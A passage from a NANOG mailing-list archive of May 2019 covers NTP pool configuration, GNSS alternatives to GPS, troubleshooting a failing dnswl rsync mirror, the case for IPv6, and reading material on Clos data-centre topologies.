*Sent: *Wednesday, May 1, 2019 8:42:56 AM > *Subject: *Optical routes from MI-OH regionals > > Hi, > > Looking for someone who might have routes (lit or dark) from Detroit, MI > to Columbus, OH preferably using a straight’ish shot from Toledo to > Columbus. Most routes I’ve seen from the larger providers tend to run > Toledo - Lima - Columbus or Toledo - Cleveland - Columbus, so I’m hoping a > smaller regional player may have something more direct. > > Thanks in advance! > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From stenn at nwtime.org Thu May 2 18:44:20 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Thu, 2 May 2019 11:44:20 -0700 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: On 5/2/2019 9:13 AM, James R Cutler wrote: >> On May 2, 2019, at 10:59 AM, William Herrin > > wrote: >> >> On Wed, May 1, 2019 at 7:03 PM Harlan Stenn > > wrote: >> >> It's not clear to me that there's anything *wrong* with using the >> pool, >> especially if you're using our 'pool' directive in your config file. >> >> >> The one time I relied on the pool I lost sync a year later when all >> three servers the configuration picked withdrew time services and the >> still-running ntp client didn't return to the names to find new ones. >> Wonderful if that's fixed now but the pool folks argued just as >> strongly for using it back then. >> >> Also, telling the security auditor that you have no idea who supplies >> your time source is pretty much a non-starter. You can convince them >> of a lot of things but you can't convince them it's OK to have no idea >> where critical services come from. >> >> That's what's wrong with the pool. >> >> Regards, >> Bill Herrin >> >> >> -- >> William Herrin ................ herrin at dirtside.com >>  bill at herrin.us >> Dirtside Systems ......... Web: > > I have only ever used the pool as a supplement to other servers. Here is > a snippet from ntp.conf that was found in the bottom of a locked filing > cabinet stuck in a disused lavatory with a sign on the door saying > 'Beware of the Leopard.’ * > > #External Time Synchronization Source Servers > # > servertick.usno.navy.mil# open access > servertime.apple.com # open access > serverTime1.Stupi.SE# open access > serverntps1-0.uni-erlangen.de # open > access > server0.pool.ntp.org # open access > server1.pool.ntp.org # open access > server2.pool.ntp.org # open access I recommend you replace the above 3 lines with: pool CC.pool.ntp.org where CC is an appropriate country code or region. H -- > servernist1-nj2-ustiming.org # open > access > servernist1-chi-ustiming.org # open > access > servernist1-pa-ustiming.org # open access > # > > > I have not kept up with pool changes since then. > > *Apologies to Douglas Adams -- Harlan Stenn, Network Time Foundation http://nwtime.org - be a Member! From stenn at nwtime.org Thu May 2 18:50:25 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Thu, 2 May 2019 11:50:25 -0700 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: <4ed5b4e1-fc32-43b1-882c-6b3820c6b5f4@nwtime.org> On 5/2/2019 7:59 AM, William Herrin wrote: > On Wed, May 1, 2019 at 7:03 PM Harlan Stenn > wrote: > > It's not clear to me that there's anything *wrong* with using the pool, > especially if you're using our 'pool' directive in your config file. > > > The one time I relied on the pool I lost sync a year later when all > three servers the configuration picked withdrew time services and the > still-running ntp client didn't return to the names to find new ones. > Wonderful if that's fixed now but the pool folks argued just as strongly > for using it back then. Were you using 'server' entries in your ntp.conf file or a 'pool' directive? > Also, telling the security auditor that you have no idea who supplies > your time source is pretty much a non-starter. You can convince them of > a lot of things but you can't convince them it's OK to have no idea > where critical services come from. I'm not saying you *should* use the pool, or that you should *only* use the pool. The pool *can* be used responsibly. And I suspect Ask and his crew have documented things well enough that you could point an auditor at the docs for the 'pool' directive and the monitoring efforts that the Pool does, and between that and peering with your other internal S2 sites and some well-chosen external site and perhaps some local refclocks you would be in fine shape. > That's what's wrong with the pool. > > Regards, > Bill Herrin > > > -- > William Herrin ................ herrin at dirtside.com >  bill at herrin.us > Dirtside Systems ......... Web: -- Harlan Stenn, Network Time Foundation http://nwtime.org - be a Member! From lguillory at reservetele.com Thu May 2 18:53:29 2019 From: lguillory at reservetele.com (Luke Guillory) Date: Thu, 2 May 2019 18:53:29 +0000 Subject: Fibre provider in Starkville, MS In-Reply-To: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> References: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> Message-ID: <8D89F96B7AB1B84F9E049CC7BB91BF5C027FD7BF5A@RTC-EXCH01.RESERVE.LDS> C Spire is near that area, they may have fiber there. Luke Ns From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Theo Voss Sent: Thursday, May 02, 2019 11:40 AM To: nanog at nanog.org Subject: Fibre provider in Starkville, MS Hi all, we’re looking for a regional (and agile) ISP who can provide 1 Gbps full-transparent layer2 connectivity from an office building in Starkville, MS (address on request) to our PoP in Atlanta (https://www.peeringdb.com/fac/562) – does anyone has recommendations? :-) Thanks in advance! Best regards, Theo Voss -------------- next part -------------- An HTML attachment was scrubbed... URL: From james.cutler at consultant.com Thu May 2 19:07:41 2019 From: james.cutler at consultant.com (James R Cutler) Date: Thu, 2 May 2019 15:07:41 -0400 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: > On May 2, 2019, at 2:44 PM, Harlan Stenn wrote: > > > > On 5/2/2019 9:13 AM, James R Cutler wrote: >>> On May 2, 2019, at 10:59 AM, William Herrin >> > wrote: >>> >>> On Wed, May 1, 2019 at 7:03 PM Harlan Stenn >> > wrote: >>> >>> It's not clear to me that there's anything *wrong* with using the >>> pool, >>> especially if you're using our 'pool' directive in your config file. >>> >>> >>> The one time I relied on the pool I lost sync a year later when all >>> three servers the configuration picked withdrew time services and the >>> still-running ntp client didn't return to the names to find new ones. >>> Wonderful if that's fixed now but the pool folks argued just as >>> strongly for using it back then. >>> >>> Also, telling the security auditor that you have no idea who supplies >>> your time source is pretty much a non-starter. You can convince them >>> of a lot of things but you can't convince them it's OK to have no idea >>> where critical services come from. >>> >>> That's what's wrong with the pool. >>> >>> Regards, >>> Bill Herrin >>> >>> >>> -- >>> William Herrin ................ herrin at dirtside.com >>> bill at herrin.us >>> Dirtside Systems ......... Web: >> >> I have only ever used the pool as a supplement to other servers. Here is >> a snippet from ntp.conf that was found in the bottom of a locked filing >> cabinet stuck in a disused lavatory with a sign on the door saying >> 'Beware of the Leopard.’ * >> >> #External Time Synchronization Source Servers >> # >> servertick.usno.navy.mil# open access >> servertime.apple.com # open access >> serverTime1.Stupi.SE# open access >> serverntps1-0.uni-erlangen.de # open >> access >> server0.pool.ntp.org # open access >> server1.pool.ntp.org # open access >> server2.pool.ntp.org # open access > > I recommend you replace the above 3 lines with: > > pool CC.pool.ntp.org > > where CC is an appropriate country code or region. > > H > -- >> servernist1-nj2-ustiming.org # open >> access >> servernist1-chi-ustiming.org # open >> access >> servernist1-pa-ustiming.org # open access >> # >> >> >> I have not kept up with pool changes since then. >> >> *Apologies to Douglas Adams > > -- > Harlan Stenn, Network Time Foundation > http://nwtime.org - be a Member! Harlan, That is good advice. Company($dayjob) no longer exists, but I will remember your advice next time I configure 4 or more Mac minis as an NTP peer group in my home office lab — I let the last configuration lapse as keeping up with Apple hardware and macOS changes was challenge enough and I no longer supported Network Time Services for any $dayjob or client. The only other note is that, for Company($dayjob), I obtained explicit permission from each of a set of globally distributed time services (not shown above). I recommend that any new NTP peer group be configured with as diverse a set of servers as possible, not limited to just pool and not limited to a single connection type. Thank you. Jim - James R. Cutler James.cutler at consultant.com GPG keys: hkps://hkps.pool.sks-keyservers.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From surfer at mauigateway.com Thu May 2 19:27:06 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 2 May 2019 12:27:06 -0700 Subject: NTP via GPS Message-ID: <20190502122706.4C847D1D@m0117164.ppops.net> --- fkittred at gwi.net wrote: From: Fletcher Kittredge On Thu, May 2, 2019 at 12:12 AM Richard wrote: > I found this article very helpful as I knew very little. I was smarter > for reading it though it may be to basic for many: > > https://timetoolsltd.com/gps/gps-ntp-server/ > It is basic and has at least some inaccuracies. I skimmed it and found: "The NTP protocol was originally developed for the LINUX operating system. " Kids these days.... so much history lost. For those under 60 revolutions of the sun: NTP and related protocols far pre-date Linux. Linux is a relatively late arriving implementation of Unix. The vast majority of intellectual property behind Linux was from prior variants of Unix; Linux was just a free, unencumbered version that was widely adopted. ----------------------------------------------- https://tools.ietf.org/pdf/rfc958.pdf Network Working Group D.L. MillsRequest for Comments: 958 M/A-COM Linkabit September 1985 Network Time Protocol (NTP) No linux in 1985... scott From surfer at mauigateway.com Thu May 2 19:31:11 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 2 May 2019 12:31:11 -0700 Subject: NTP question Message-ID: <20190502123111.4C847DE8@m0117164.ppops.net> --- mel at beckman.org wrote: From: Mel Beckman But wait. What is the GPS constellation goes down? THEN we have bigger problems :) -------------------------------------------------- What if the US military intentionally messes with the signal to thwart the advances of an enemy who is using GPS in their attack? ;-) scott From mel at beckman.org Thu May 2 19:53:23 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 19:53:23 +0000 Subject: NTP question In-Reply-To: <20190502123111.4C847DE8@m0117164.ppops.net> References: <20190502123111.4C847DE8@m0117164.ppops.net> Message-ID: <49078925-C598-49BF-8684-1E32EF7DCDBC@beckman.org> Like I said, bigger problems. :) Enemies aren’t dependent on US GPS, by the way. lol! -mel via cell > On May 2, 2019, at 12:31 PM, Scott Weeks wrote: > > > > --- mel at beckman.org wrote: > From: Mel Beckman > > But wait. What is the GPS constellation goes down? > THEN we have bigger problems :) > -------------------------------------------------- > > > What if the US military intentionally messes with > the signal to thwart the advances of an enemy who > is using GPS in their attack? ;-) > > scott From surfer at mauigateway.com Thu May 2 20:35:45 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 2 May 2019 13:35:45 -0700 Subject: NTP question Message-ID: <20190502133545.4C84781A@m0117164.ppops.net> > But wait. What is the GPS constellation goes down? > THEN we have bigger problems :) > -------------------------------------------------- > > > What if the US military intentionally messes with > the signal to thwart the advances of an enemy who > is using GPS in their attack? ;-) ------------------------ --- mel at beckman.org wrote: Enemies aren’t dependent on US GPS, by the way. lol! ----------------------------------------------- Oops, but still from the second link: "...which could be disabled or degraded by their operators at any time" Most big countries say the same: "...will provide an alternative global navigation satellite system..." scott Details for the intrested. https://en.wikipedia.org/wiki/GLONASS "Russian...provides an alternative to GPS and is the second navigational system in operation with global coverage and of comparable precision. https://en.wikipedia.org/wiki/Galileo_(satellite_navigation) "...live in 2016,[4] created by the European Union" "...so European nations do not have to rely on the U.S. GPS, or the Russian GLONASS systems, which could be disabled or degraded by their operators at any time" https://en.wikipedia.org/wiki/BeiDou "a Chinese satellite navigation system....Beidou-1 was decommissioned at the end of 2012." "BeiDou-2, became operational in China in December 2011 with a partial constellation of 10 satellites in orbit. Since December 2012, it has been offering services to customers in the Asia-Pacific region." "In 2015, China started the build-up of the third generation BeiDou system (BeiDou-3) for global coverage constellation. The first BDS-3 satellite was launched on 30 March 2015.[5] As of October 2018, fifteen BDS-3 satellites have been launched[6]. BeiDou-3 will eventually consist of 35 satellites and is expected to provide global services upon completion in 2020. When fully completed, BeiDou will provide an alternative global navigation satellite system to the United States owned Global Positioning System (GPS),[7][8] the Russian GLONASS or European Galileo systems and is expected to be more accurate than these https://en.wikipedia.org/wiki/Indian_Regional_Navigation_Satellite_System "...is an autonomous regional satellite navigation system that provides accurate real-time positioning and timing services.[4] It covers India and a region extending 1,500 km (930 mi) around it, with plans for further extension." https://en.wikipedia.org/wiki/Quasi-Zenith_Satellite_System "...a project of the Japanese government for the development of a four-satellite regional time transfer system and a satellite-based augmentation system for the United States operated Global Positioning System (GPS) to be receivable in the Asia-Oceania regions, with a focus on Japan. From gdupin at taho.fr Thu May 2 21:04:07 2019 From: gdupin at taho.fr (Ge DUPIN) Date: Thu, 2 May 2019 23:04:07 +0200 Subject: NTP question In-Reply-To: <20190502133545.4C84781A@m0117164.ppops.net> References: <20190502133545.4C84781A@m0117164.ppops.net> Message-ID: It is called Galileo :) Ge > Le 2 mai 2019 à 22:35, Scott Weeks a écrit : > > > >> But wait. What is the GPS constellation goes down? >> THEN we have bigger problems :) >> -------------------------------------------------- >> >> >> What if the US military intentionally messes with >> the signal to thwart the advances of an enemy who >> is using GPS in their attack? ;-) > ------------------------ > --- mel at beckman.org wrote: > > Enemies aren’t dependent on US GPS, by the way. lol! > ----------------------------------------------- > > Oops, but still from the second link: "...which could > be disabled or degraded by their operators at any time" > > Most big countries say the same: "...will provide an > alternative global navigation satellite system..." > > scott > > > > Details for the intrested. > > > https://en.wikipedia.org/wiki/GLONASS > > "Russian...provides an alternative to GPS and is the > second navigational system in operation with global > coverage and of comparable precision. > > > https://en.wikipedia.org/wiki/Galileo_(satellite_navigation) > > "...live in 2016,[4] created by the European Union" > "...so European nations do not have to rely on the > U.S. GPS, or the Russian GLONASS systems, which could > be disabled or degraded by their operators at any time" > > > https://en.wikipedia.org/wiki/BeiDou > > "a Chinese satellite navigation system....Beidou-1 was > decommissioned at the end of 2012." > "BeiDou-2, became operational in China in December 2011 > with a partial constellation of 10 satellites in orbit. > Since December 2012, it has been offering services to > customers in the Asia-Pacific region." > "In 2015, China started the build-up of the third > generation BeiDou system (BeiDou-3) for global coverage > constellation. The first BDS-3 satellite was launched on > 30 March 2015.[5] As of October 2018, fifteen BDS-3 > satellites have been launched[6]. BeiDou-3 will > eventually consist of 35 satellites and is expected to > provide global services upon completion in 2020. When > fully completed, BeiDou will provide an alternative > global navigation satellite system to the United States > owned Global Positioning System (GPS),[7][8] the Russian > GLONASS or European Galileo systems and is expected > to be more accurate than these > > > > https://en.wikipedia.org/wiki/Indian_Regional_Navigation_Satellite_System > > "...is an autonomous regional satellite navigation > system that provides accurate real-time positioning > and timing services.[4] It covers India and a region > extending 1,500 km (930 mi) around it, with plans for > further extension." > > > https://en.wikipedia.org/wiki/Quasi-Zenith_Satellite_System > > "...a project of the Japanese government for the > development of a four-satellite regional time transfer > system and a satellite-based augmentation system for the > United States operated Global Positioning System (GPS) > to be receivable in the Asia-Oceania regions, with a > focus on Japan. > > > From randy at psg.com Fri May 3 05:21:21 2019 From: randy at psg.com (Randy Bush) Date: Thu, 02 May 2019 22:21:21 -0700 Subject: is dnswl dead? Message-ID: % /usr/local/bin/rsync --times rsync2.dnswl.org::dnswl/bind-dnswl-nons.zone /var/dns/primary/org.dnswl rsync: read error: Connection reset by peer (54) rsync error: error in socket IO (code 10) at io.c(785) [Receiver=3.1.3] this has been going on for a while. admins do not respond to email. and yes, i paid. would be a bummer. was useful. randy From randy at psg.com Fri May 3 11:59:27 2019 From: randy at psg.com (Randy Bush) Date: Fri, 03 May 2019 04:59:27 -0700 Subject: is dnswl dead? In-Reply-To: References: Message-ID: > List files: > rsync rsync2.dnswl.org::dnswl sorry. i am a little confused. are you trying to tell me how to use rsync or that dnswl is not broken for you? i am an rsync addict, and i still fear dnswl is broken. # rsync rsync2.dnswl.org::dnswl rsync: read error: Connection reset by peer (54) rsync error: error in socket IO (code 10) at io.c(785) [Receiver=3.1.3] randy From brian at interlinx.bc.ca Fri May 3 15:14:01 2019 From: brian at interlinx.bc.ca (Brian J. Murrell) Date: Fri, 03 May 2019 11:14:01 -0400 Subject: any interesting/useful resources available to IPv6 only? Message-ID: Hi, I am trying to make a case (to old fuddy-duddies, which is why I even need to actually make a case) for IPv6 for my own selfish reasons. :-) I wonder if anyone has any references to interesting/useful/otherwise resources on are only available to IPv6 users that they can forward to me. Cheers, b. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 488 bytes Desc: This is a digitally signed message part URL: From bps.josemanuel11 at gmail.com Fri May 3 05:42:08 2019 From: bps.josemanuel11 at gmail.com (Jose Manuel Vazquez Castro) Date: Fri, 3 May 2019 00:42:08 -0500 Subject: is dnswl dead? In-Reply-To: References: Message-ID: Hi List files: rsync rsync2.dnswl.org::dnswl Try exactly this command BIND: rsync --times rsync2.dnswl.org::dnswl/bind-* /some/path/ El vie., 3 de mayo de 2019 0:23, Randy Bush escribió: > % /usr/local/bin/rsync --times rsync2.dnswl.org::dnswl/bind-dnswl-nons.zone > /var/dns/primary/org.dnswl > rsync: read error: Connection reset by peer (54) > rsync error: error in socket IO (code 10) at io.c(785) [Receiver=3.1.3] > > this has been going on for a while. admins do not respond to email. > and yes, i paid. > > would be a bummer. was useful. > > randy > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bps.josemanuel11 at gmail.com Fri May 3 05:55:17 2019 From: bps.josemanuel11 at gmail.com (Jose Manuel Vazquez Castro) Date: Fri, 3 May 2019 00:55:17 -0500 Subject: is dnswl dead? In-Reply-To: References: Message-ID: And check first connectivity ping and telnet tcp ports 22 , 873 to ips destination's from your linuxbox: Record A rsync2.dnswl.org 139.162.192.198 142.44.243.216 Or use in the command directly the ip. You are behinds a router, proxy , Nat device. May cause problems or deny filter traffic. If share a Wireshark capture will see what's happens .. El vie., 3 de mayo de 2019 0:23, Randy Bush escribió: > % /usr/local/bin/rsync --times rsync2.dnswl.org::dnswl/bind-dnswl-nons.zone > /var/dns/primary/org.dnswl > rsync: read error: Connection reset by peer (54) > rsync error: error in socket IO (code 10) at io.c(785) [Receiver=3.1.3] > > this has been going on for a while. admins do not respond to email. > and yes, i paid. > > would be a bummer. was useful. > > randy > -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Fri May 3 15:35:14 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Fri, 3 May 2019 11:35:14 -0400 Subject: is dnswl dead? In-Reply-To: References: Message-ID: /subscribe On Fri, May 3, 2019 at 11:28 AM Jose Manuel Vazquez Castro wrote: > > And check first connectivity ping and telnet tcp ports 22 , 873 to ips destination's from your linuxbox: > > Record A rsync2.dnswl.org > 139.162.192.198 > 142.44.243.216 > > Or use in the command directly the ip. > You are behinds a router, proxy , Nat device. May cause problems or deny filter traffic. If share a Wireshark capture will see what's happens .. > > El vie., 3 de mayo de 2019 0:23, Randy Bush escribió: >> >> % /usr/local/bin/rsync --times rsync2.dnswl.org::dnswl/bind-dnswl-nons.zone /var/dns/primary/org.dnswl >> rsync: read error: Connection reset by peer (54) >> rsync error: error in socket IO (code 10) at io.c(785) [Receiver=3.1.3] >> >> this has been going on for a while. admins do not respond to email. >> and yes, i paid. >> >> would be a bummer. was useful. >> >> randy From jeroen at massar.ch Fri May 3 15:39:55 2019 From: jeroen at massar.ch (Jeroen Massar) Date: Fri, 3 May 2019 17:39:55 +0200 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: <7abf4a7e-79c2-532b-0449-61c49240e70f@massar.ch> On 2019-05-03 17:14, Brian J. Murrell wrote: > Hi, > > I am trying to make a case (to old fuddy-duddies, which is why I even > need to actually make a case) for IPv6 for my own selfish reasons. :-) > > I wonder if anyone has any references to interesting/useful/otherwise > resources on are only available to IPv6 users that they can forward to > me. IPv6 is not a darknet, you won't find something hidden and unique there. If you want to make a case for having IPv6, google a bit there are lots of reasons. One good one is presented by Rabobank: https://ripe74.ripe.net/wp-content/uploads/presentations/3-That-is-why-Rabobank-has-IPv6.pdf TLDR: customers behind CGN and thus harder to separate them as you suddenly get multiple from the same IPv4 instead of more information with one per IPv6.... Greets, Jeroen From dougb at dougbarton.us Fri May 3 15:47:15 2019 From: dougb at dougbarton.us (Doug Barton) Date: Fri, 3 May 2019 08:47:15 -0700 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: <829da6b2-a7a2-0cd9-4d5d-63bf7cdbc61c@dougbarton.us> On 5/3/19 8:14 AM, Brian J. Murrell wrote: > Hi, > > I am trying to make a case (to old fuddy-duddies, which is why I even > need to actually make a case) for IPv6 for my own selfish reasons. :-) > > I wonder if anyone has any references to interesting/useful/otherwise > resources on are only available to IPv6 users that they can forward to > me. This type of marketing approach was pursued doggedly for many of the early years of IPv6 rollout. It was as misguided then as it was ineffective. If you have plenty of IPv4 space, you have no case for IPv6. (And I say that as one of the most enthusiastic proponents of it.) OTOH, if you are/might/will be approach(ing) any kind of IPv4 capacity limitation, then you want to start deploying IPv6 ASAP. The other case that makes business sense is a content provider with a lot of traffic. You can get different, and often better, peering relationships over IPv6; and there are a lot of eyeball networks, especially mobile providers, who are using it natively nowadays. hope this helps, Doug From valdis.kletnieks at vt.edu Fri May 3 16:47:25 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Fri, 03 May 2019 12:47:25 -0400 Subject: is dnswl dead? In-Reply-To: References: Message-ID: <22652.1556902045@turing-police> On Fri, 03 May 2019 00:55:17 -0500, Jose Manuel Vazquez Castro said: > And check first connectivity ping and telnet tcp ports 22 , 873 to ips > destination's from your linuxbox: > > Record A rsync2.dnswl.org > 139.162.192.198 > 142.44.243.216 > > Or use in the command directly the ip. > You are behinds a router, proxy , Nat device. May cause problems or deny > filter traffic. If share a Wireshark capture will see what's happens .. >From here, tcpdump/wireshark indicate that something is indeed amiss. rsync gets through the 3-packet handshake, and then about 20 packets ending thusly: 11:34:52.749962 IP 192.168.1.73.42138 > 139.162.192.198.rsync: Flags [.], ack 32, win 502, options [nop,nop,TS val 3218474733 ecr 1658500094], length 0 11:34:52.750309 IP 192.168.1.73.42138 > 139.162.192.198.rsync: Flags [P.], seq 79:87, ack 32, win 502, options [nop,nop,TS val 3218474733 ecr 1658500094], length 8 11:34:52.851104 IP 139.162.192.198.rsync > 192.168.1.73.42138: Flags [.], ack 87, win 227, options [nop,nop,TS val 1658500119 ecr 3218474733], length 0 11:34:53.162604 IP 139.162.192.198.rsync > 192.168.1.73.42138: Flags [R.], seq 32, ack 87, win 227, options [nop,nop,TS val 1658500197 ecr 3218474733], length 0 The far end tosses an ACK for the packet, and then an ACK/RST rather than a FIN. Rather anti-social - usually indicative of the daemon at the far end crashing and closing the socket. (Side note - is it me, or does the rsync dissector for wireshark do a less than optimal job?) (And yes, I know for a fact that my router doesn't bork rsync, as it works for other stuff on a regular basis..) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From sethm at rollernet.us Fri May 3 17:02:57 2019 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 3 May 2019 10:02:57 -0700 Subject: NTP question In-Reply-To: <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> Message-ID: On 5/1/19 8:35 PM, Mel Beckman wrote: > But wait. What is the GPS constellation goes down? THEN we have bigger problems For timing if we lose the WWV stations and CDMA, then it seems the diversity plan is going to be a combination of US GPS, Galileo, and GLONASS disciplined sources. From lists at sadiqs.com Fri May 3 17:08:55 2019 From: lists at sadiqs.com (Sadiq Saif) Date: Fri, 3 May 2019 13:08:55 -0400 Subject: Looking for audiovisual resources on Clos topologies Message-ID: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com> Hi all, I recently read a APNIC blog post about LINE's network redesign [0] into a Clos topology. That lead to me RFC7938 [1] which has a fairly minimal explanation of the topology design itself. I was wondering if there are any NANOG or other *NOG talks explaining the Clos topology in a more audiovisual format. I figured I ask here before I go looking on a search engine. Thanks in advance. [0] - https://blog.apnic.net/2019/05/03/simplicity-is-key-to-network-redesign-for-line/ [1] - https://tools.ietf.org/html/rfc7938 -- Sadiq Saif https://sadiqsaif.com From valdis.kletnieks at vt.edu Fri May 3 17:22:52 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Fri, 03 May 2019 13:22:52 -0400 Subject: Looking for audiovisual resources on Clos topologies In-Reply-To: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com> References: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com> Message-ID: <24556.1556904172@turing-police> On Fri, 03 May 2019 13:08:55 -0400, Sadiq Saif said: > I recently read a APNIC blog post about LINE's network redesign [0] into > a Clos topology. That lead to me RFC7938 [1] which has a fairly minimal > explanation of the topology design itself. >From the APNIC blog: "In the case of LINE's network, where all servers in the data centre are identified by eBGP, more than 10,000 ASNs are required." They've traded L2 VLAN complexity for L3 ASN complexity. What's the old saying in computer science? "All problems can be solved by adding a level of redirection"? > https://blog.apnic.net/2019/05/03/simplicity-is-key-to-network-redesign-for-line/ Apparently, "simplicity" is the new euphemism for "let's push all the surprising emergent effects of our design to someplace new..." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From hugo at slabnet.com Fri May 3 17:32:51 2019 From: hugo at slabnet.com (Hugo Slabbert) Date: Fri, 3 May 2019 10:32:51 -0700 Subject: Looking for audiovisual resources on Clos topologies In-Reply-To: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com> References: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com> Message-ID: <20190503173251.GA17230@bamboo.slabnet.com> On Fri 2019-May-03 13:08:55 -0400, Sadiq Saif wrote: >Hi all, > >I recently read a APNIC blog post about LINE's network redesign [0] >into a Clos topology. That lead to me RFC7938 [1] which has a fairly >minimal explanation of the topology design itself. > >I was wondering if there are any NANOG or other *NOG talks explaining >the Clos topology in a more audiovisual format. I figured I ask here >before I go looking on a search engine. > >Thanks in advance. Some notes from Facebook and Google network architecture evolution/designs Google: http://conferences.sigcomm.org/sigcomm/2015/pdf/papers/p183.pdf Facebook: https://code.fb.com/production-engineering/introducing-data-center-fabric-the-next-generation-facebook-data-center-network/ Some other related presentations: Doug Hanks on multi-stage Clos architectures: https://www.youtube.com/watch?v=HeTitZdcHB4 TeamNANOG: Building Scalable Data Centers: BGP is the Better IGP https://www.youtube.com/watch?v=yJbqnOdD3cg TeamNANOG: Building a smallish DC...for the rest of us https://www.youtube.com/watch?v=4yL6_tKfIfk UKNOFconf: UKNOF32 - Google datacentre networking https://www.youtube.com/watch?v=Thc7Muu9SHc > >[0] - https://blog.apnic.net/2019/05/03/simplicity-is-key-to-network-redesign-for-line/ > >[1] - https://tools.ietf.org/html/rfc7938 >-- >Sadiq Saif >https://sadiqsaif.com -- Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com pgp key: B178313E | also on Signal -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: Digital signature URL: From james.cutler at consultant.com Fri May 3 17:33:56 2019 From: james.cutler at consultant.com (James R Cutler) Date: Fri, 3 May 2019 13:33:56 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <829da6b2-a7a2-0cd9-4d5d-63bf7cdbc61c@dougbarton.us> References: <829da6b2-a7a2-0cd9-4d5d-63bf7cdbc61c@dougbarton.us> Message-ID: > On May 3, 2019, at 11:47 AM, Doug Barton wrote: > > On 5/3/19 8:14 AM, Brian J. Murrell wrote: >> Hi, >> I am trying to make a case (to old fuddy-duddies, which is why I even >> need to actually make a case) for IPv6 for my own selfish reasons. :-) >> I wonder if anyone has any references to interesting/useful/otherwise >> resources on are only available to IPv6 users that they can forward to >> me. > > This type of marketing approach was pursued doggedly for many of the early years of IPv6 rollout. It was as misguided then as it was ineffective. > > If you have plenty of IPv4 space, you have no case for IPv6. (And I say that as one of the most enthusiastic proponents of it.) OTOH, if you are/might/will be approach(ing) any kind of IPv4 capacity limitation, then you want to start deploying IPv6 ASAP. > > The other case that makes business sense is a content provider with a lot of traffic. You can get different, and often better, peering relationships over IPv6; and there are a lot of eyeball networks, especially mobile providers, who are using it natively nowadays. > > hope this helps, > > Doug The most valuable/useful network resource available today using IPv6 is a mobile network customer. (Not necessarily IPV6 only, but IPv4 requires extra effort.) - James R. Cutler James.cutler at consultant.com GPG keys: hkps://hkps.pool.sks-keyservers.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists at sadiqs.com Fri May 3 17:38:54 2019 From: lists at sadiqs.com (Sadiq Saif) Date: Fri, 03 May 2019 13:38:54 -0400 Subject: Looking for audiovisual resources on Clos topologies In-Reply-To: <20190503173251.GA17230@bamboo.slabnet.com> References: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com> <20190503173251.GA17230@bamboo.slabnet.com> Message-ID: <453ea92c-7e91-47bc-8617-662e4499fd0f@www.fastmail.com> On Fri, 3 May 2019, at 13:32, Hugo Slabbert wrote: > > > Some notes from Facebook and Google network architecture > evolution/designs > Google: http://conferences.sigcomm.org/sigcomm/2015/pdf/papers/p183.pdf > Facebook: > https://code.fb.com/production-engineering/introducing-data-center-fabric-the-next-generation-facebook-data-center-network/ > > Some other related presentations: > > Doug Hanks on multi-stage Clos architectures: > https://www.youtube.com/watch?v=HeTitZdcHB4 > > TeamNANOG: Building Scalable Data Centers: BGP is the Better IGP > https://www.youtube.com/watch?v=yJbqnOdD3cg > > TeamNANOG: Building a smallish DC...for the rest of us > https://www.youtube.com/watch?v=4yL6_tKfIfk > > UKNOFconf: UKNOF32 - Google datacentre networking > https://www.youtube.com/watch?v=Thc7Muu9SHc > > > -- > Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com > pgp key: B178313E | also on Signal Thank you very much Hugo, I'll give these a look. -- Sadiq Saif https://sadiqsaif.com From cscora at apnic.net Fri May 3 18:03:30 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 4 May 2019 04:03:30 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190503180330.D4D7CC55B5@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to 